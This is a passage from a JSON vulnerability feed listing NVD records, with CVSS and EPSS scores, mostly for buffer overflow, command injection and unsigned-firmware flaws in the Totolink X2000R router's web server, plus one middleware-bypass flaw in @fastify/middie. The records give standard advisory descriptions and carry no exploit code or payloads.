request to trigger these vulnerabilities. This vulnerability concerns the pppoe_dns1 parameter.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:18.903Z","updatedAt":"2026-10-22T15:31:24.813Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42019","asOf":"2026-10-22T15:31:24.813Z"},"epss":{"probability":0.00737,"percentile":0.54209,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-42019&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42019","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42019","type":"primary","publishedAt":"2026-10-20T21:17:18.903Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-42019&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-42019, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41223","cveId":"CVE-2026-41223","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:18.783Z","updatedAt":"2026-10-22T15:31:24.813Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41223","asOf":"2026-10-22T15:31:24.813Z"},"epss":{"probability":0.00737,"percentile":0.5421,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-41223&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41223","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41223","type":"primary","publishedAt":"2026-10-20T21:17:18.783Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41223&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-41223, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41222","cveId":"CVE-2026-41222","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability exists in the boa formParentControl url functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A stack-based buffer overflow vulnerability exists in the boa formParentControl url functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A stack-based buffer overflow vulnerability exists in the boa formParentControl url functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:18.653Z","updatedAt":"2026-10-22T15:31:24.813Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41222","asOf":"2026-10-22T15:31:24.813Z"},"epss":{"probability":0.00737,"percentile":0.54209,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-41222&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41222","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41222","type":"primary","publishedAt":"2026-10-20T21:17:18.653Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41222&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-41222, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40627","cveId":"CVE-2026-40627","aliases":[],"kind":"vulnerability","title":"An os command injection vulnerability exists in the boa formWsc targetAPSsid functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327.","summary":"An os command injection vulnerability exists in the boa formWsc targetAPSsid functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"An os command injection vulnerability exists in the boa formWsc targetAPSsid functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:18.517Z","updatedAt":"2026-10-22T15:31:24.813Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40627","asOf":"2026-10-22T15:31:24.813Z"},"epss":{"probability":0.01043,"percentile":0.63856,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-40627&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40627","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40627","type":"primary","publishedAt":"2026-10-20T21:17:18.517Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-40627&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-40627, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40615","cveId":"CVE-2026-40615","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability exists in the boa formParentControl deviceName functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A stack-based buffer overflow vulnerability exists in the boa formParentControl deviceName functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A stack-based buffer overflow vulnerability exists in the boa formParentControl deviceName functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:18.393Z","updatedAt":"2026-10-22T15:31:24.813Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40615","asOf":"2026-10-22T15:31:24.813Z"},"epss":{"probability":0.00737,"percentile":0.5421,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-40615&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40615","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40615","type":"primary","publishedAt":"2026-10-20T21:17:18.393Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-40615&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-40615, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-35499","cveId":"CVE-2026-35499","aliases":[],"kind":"vulnerability","title":"An os command injection vulnerability exists in the boa formWsc peerRptPin functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327.","summary":"An os command injection vulnerability exists in the boa formWsc peerRptPin functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"An os command injection vulnerability exists in the boa formWsc peerRptPin functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:18.277Z","updatedAt":"2026-10-23T23:17:43.507Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-35499","asOf":"2026-10-23T23:17:43.507Z"},"epss":{"probability":0.01286,"percentile":0.69943,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-35499&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-35499","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35499","type":"primary","publishedAt":"2026-10-20T21:17:18.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-35499&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-35499, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33568","cveId":"CVE-2026-33568","aliases":[],"kind":"vulnerability","title":"A OS command injection vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A OS command injection vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A OS command injection vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:18.157Z","updatedAt":"2026-10-22T15:31:24.813Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33568","asOf":"2026-10-22T15:31:24.813Z"},"epss":{"probability":0.01043,"percentile":0.63857,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-33568&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33568","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33568","type":"primary","publishedAt":"2026-10-20T21:17:18.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-33568&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-33568, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-28763","cveId":"CVE-2026-28763","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice hostname functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice hostname functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice hostname functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:18.037Z","updatedAt":"2026-10-22T15:31:24.813Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-28763","asOf":"2026-10-22T15:31:24.813Z"},"epss":{"probability":0.00737,"percentile":0.5421,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-28763&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-28763","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28763","type":"primary","publishedAt":"2026-10-20T21:17:18.037Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-28763&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-28763, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112712","cveId":"CVE-2026-112712","aliases":[],"kind":"vulnerability","title":"@fastify/middie is the Express-style middleware engine for Fastify.","summary":"@fastify/middie is the Express-style middleware engine for Fastify. In versions from 9.0.0 through 9.3.5, the use() function joined a path-scoped middleware's mount path to the plugin scope prefix in a way that could diverge from the path Fastify's router serves, most often when the scope prefix ended in a slash, and also for array mount paths and for mount paths written without a leading slash. When the two paths disagreed, the middleware was silently skipped while the route handler still ran, so path-scoped middleware such as authentication, authorization, or rate limiting could be bypassed by a single unauthenticated request. The issue is fixed in @fastify/middie 9.3.6, and users should upgrade to 9.3.6 or later. As a workaround, enforce authorization in a Fastify hook such as preHandler that runs after the router has resolved the request.","detail":"@fastify/middie is the Express-style middleware engine for Fastify. In versions from 9.0.0 through 9.3.5, the use() function joined a path-scoped middleware's mount path to the plugin scope prefix in a way that could diverge from the path Fastify's router serves, most often when the scope prefix ended in a slash, and also for array mount paths and for mount paths written without a leading slash. When the two paths disagreed, the middleware was silently skipped while the route handler still ran, so path-scoped middleware such as authentication, authorization, or rate limiting could be bypassed by a single unauthenticated request. The issue is fixed in @fastify/middie 9.3.6, and users should upgrade to 9.3.6 or later. As a workaround, enforce authorization in a Fastify hook such as preHandler that runs after the router has resolved the request.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:17.910Z","updatedAt":"2026-10-22T15:25:17.817Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112712","asOf":"2026-10-22T15:25:17.817Z"},"epss":{"probability":0.00314,"percentile":0.24135,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112712&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112712","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112712","type":"primary","publishedAt":"2026-10-20T21:17:17.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112712&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112712, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10141","cveId":"CVE-2026-10141","aliases":[],"kind":"vulnerability","title":"A Unsigned Firmware vulnerability exists in the boa Firmware Update functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A Unsigned Firmware vulnerability exists in the boa Firmware Update functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted firmware binary can lead to arbitrary firmware update. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A Unsigned Firmware vulnerability exists in the boa Firmware Update functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted firmware binary can lead to arbitrary firmware update. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:16.843Z","updatedAt":"2026-10-23T23:17:42.280Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10141","asOf":"2026-10-23T23:17:42.280Z"},"epss":{"probability":0.00281,"percentile":0.20406,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10141&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10141","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10141","type":"primary","publishedAt":"2026-10-20T21:17:16.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10141&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10141, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10139","cveId":"CVE-2026-10139","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability exists in the Mcli functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A stack-based buffer overflow vulnerability exists in the Mcli functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.","detail":"A stack-based buffer overflow vulnerability exists in the Mcli functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T21:17:16.720Z","updatedAt":"2026-10-23T23:17:42.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-10139","asOf":"2026-10-23T23:17:42.177Z"},"epss":{"probability":0.00624,"percentile":0.49629,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-10139&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-10139","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-10139","type":"primary","publishedAt":"2026-10-20T21:17:16.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-10139&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-10139, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-10138","cveId":"CVE-2026-10138","aliases":[],"kind":"vulnerability","title":"A OS command injection vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).","summary":"A OS command injection vulnerability exists in the boa formUpload() functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted 